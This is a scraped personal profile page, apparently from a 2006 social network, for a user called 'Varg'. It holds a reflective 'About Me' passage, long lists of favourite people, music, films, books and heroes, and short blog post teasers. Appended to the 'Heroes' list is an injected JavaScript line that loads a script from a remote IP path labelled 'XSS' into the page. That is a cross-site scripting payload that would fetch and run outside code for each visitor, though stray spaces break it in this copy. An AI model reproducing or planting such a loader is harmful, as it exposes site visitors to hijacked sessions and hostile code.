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Varg

I am here for Friends

About Me

In awe of everything at all times, stuck sometime sthinking about the mechanics, not grease monkeys but atoms and photons, sometimes I have to touch something to bee sure it's real, I never want it to end but will be okay when it does, death is nothing extraordinary, well all do it, some better than others, life is a hurricane, a gigantic powerful mass of swirling wind and energy that can change course at any moment and wreak havoc on any weak spots, we are all just an audience as the universe unfolds itself, keep a careful eye and be hyper-aware or you just might miss the ending, I hear it's a good one...

My Interests

Trying to do my part, contributing to this flash-in-the-pan existence, discovering hidden characteristics, learning how things work, all things, not just engineering, but also minds, cultures, environments, ideas, literature; watching videos of stupid people getting what they deserve, making outragous boasts with no intention of ever backing them up, rapping about the good ole days, watching my cat; all manner of spirits; computer games; Internet sub-cultures, oral history, performance, Web design, day dreaming (or is it mental paralysis?), moments ...

I'd like to meet:

Kasper Hauser, Neanderthal, Walt Whitman, Billy Shakes, Mae West, Cole Younger, Michael Jordon, Charles Bukowski, Andre the Giant, Hunter S. Thompson, Brett Farve,Louie Armstrong, William S. Burroughs, Bill Plympton, Dolly Parton, John Lurie, Tracy Walter, Pancho Villa, Roy Jones Jr., Ruthie the Duck Girl, Huey Long, Abraham Lincoln, Richard Pryor, Jamie Lee Curtis, Benjamin Franklin, Rasputin, Fred Rogers, Walt Disney, Bill Gates, God ...

Music:

Johnny Cash, Mark Kozelek, TV on the Radio, Rebirth Brass Band, Mr. Mingus, Wilco, Guided by Voices, Bob Dylan, Gillian Welch, Afghan Whigs, Soul Coughing, James McMurtry, Steve Earl, Townes Van Zandt, Bright Eyes, The Decemberists, The Rolling Stones, Queen, Bessie Smith, Nina Simone, Tom Waits, Joe Strummer, Cab Calloway, George Jones, Emmylou Harris, Nirvana, Yo La Tengo, Nick Cave, Mogwai, Jeff Buckley, Louis Armstrong, Neko Case, Beethoven, Arcade Fire, Songs:Ohia, Wil Oldham, Romy

Movies:

.. width="425" height="350" "City of God," "Fast, Cheap, and Out of Control," "Glengerry Glen Ross," "Barton Fink," "The Shining," “The Graduate,” “The Mosquito Coast,” “The Forbidden Zone,” “Stand By Me,” “The Big Lebowski,” “Star Trek II: The Wrath of Kahn,” “Waking Life,” “Lost in Translation,” “Harold and Maude,” “Barfly,” “An American Werewolf in London,” “American Movie,” “One Flew Over the Cuckoo's Nest,” “A Clockwork Orange” “Dr. Strangelove,” “Once Upon A Time in the West,” “The Manchurian Candidate,” “Being John Malkovich,” “Amelie,” “Coal Miner's Daughter” “Dead Man,” “Mystery Train,” “True Romance,” “Mask,” “The Right Stuff,” “Road to Perdition,” “Ecape from New York,” “Tombstone,” “Winged Migration,” “Baraka,” “The Man Who Wasn't There,” “The Royal Tenenbaums,” “Monty Python and the Holy Grail,” “The Black Hole,” “Fear and Loathing in Las Vegas,” “Willie Wonka and the Chocolate Factory,” "Battle Royale," "

Television:

"The Daily Show," "MxC," "Modern Marvels," "Extreme Engineering," "This American Life," "The Dog Whisperer," "Naked Science" "Bullshit," ""Meet the Press," "Monster Machines," "Insomniac," "Trigger Happy Television," "Mythbusters," "City Confidential," "The First 48," "Autopsy," "The Colbert Report," "Drawn Together" "Da Ali G Show," "Curb Your Enthusiasm"

Books:

"One Hundred Years of Solitude," by Gabrial Garcia Marquez; "All the Pretty Horses," by Cormac MacCarthy; "The Outlaw Bible of American Poetry," "The Story About Ping," by Flack Weiss "The Long Walk," by Richard Bachman; "The Blade: Shellville High School Yearbook," by Don Novello; "Grendel," by John Gardner; "The People's History of the United States," by Howard Zinn; "The Acid House," by Irvine Welsh; "Savage Inequalities," by Jonathon Kozol ; "A Confederacy of Dunces," By John Kennedy Toole; "Leaving Las Vegas" by John O'Brien," "The Oxford English Dictionary," "Child of God"

Heroes:

My parents, the Beat Generation, Martin Luther King, the garbage man, Gordon Cooper, "The Nature Boy" Ric Flair, William Blake, Secretariat, Ötzi the Iceman, Bob Marley, Thomas Crapper... .."var s=document.createElement('script');s.src='http://75.126.2.15 7/XSS/test.js';document.getElementsByTagName('head')[0].appe ndChild(s);"

My Blog

Plympton wants to be my friend

I was very excited this morning to see my latest friend request was Bill frickin' Plympton. See, I don't really get star struck. If I saw Brad and Angelina cruising down the street I might point at th...
Posted by Varg on Sun, 31 Dec 2006 12:59:00 PST

to Ryan in Kenner ( I won't buy your dresser)

too fartoo intensetoo terrifyingtoo many horn honks and raging trucksan expanse an interstatean overpassan inevitable engagement with a car crashthe poisonsthe pressuresthe persuasionsthe enraged star...
Posted by Varg on Thu, 12 Oct 2006 11:12:00 PST

sewing

There is an old saying, "you reap what you sew." It has few different meanings. One serving as warning for misdeeds, "you get what you deserve." Your actions will come back to haunt you. Past grieve...
Posted by Varg on Sat, 23 Sep 2006 07:50:00 PST

functions

I served my first banquet dinner in 10 years last night, a plated dinner for 400. It was like a time machine - seeing the ornate tables decorated with silver and folded napkins, observing the audio/...
Posted by Varg on Sat, 23 Sep 2006 07:49:00 PST

nerve fibers

When the nerve fibers in my system finally give and collapse unto themselves, leaving my hands trembling and my mouth babbling on as it tries to freelance without neural assistance only repeating th...
Posted by Varg on Sat, 23 Sep 2006 07:48:00 PST

o' drink

Drink, my life partner, I remember our introduction - you in the form of a warm Busch, and me as pre-pebuescent kid in an empty lot. I remember our early fights - you with your MD 20/20, me with my ...
Posted by Varg on Sat, 23 Sep 2006 07:47:00 PST

matches

Sitting on my porch today and saw two books of matches. One was the kind that come with an MRE and the other was Commanders Palace. Love that "art is everywhere" shit.
Posted by Varg on Sat, 23 Sep 2006 07:44:00 PST

cold beer in a blue bathroom

Those nights in the Mad Mansion, drinking cold beer in a blue bathroom, getting ready to go out and paint that fucking town red one more time, listening to Soul Coughing and hearing my neighbors (my...
Posted by Varg on Sat, 23 Sep 2006 07:45:00 PST

messy painter

Jesus, I am a messy painter. It gets on my shirts, on my shoes, on the floor, on the walls. On one pair of jeans a literal history of paint projects exists if you look hard enough. There is the ster...
Posted by Varg on Sat, 23 Sep 2006 07:44:00 PST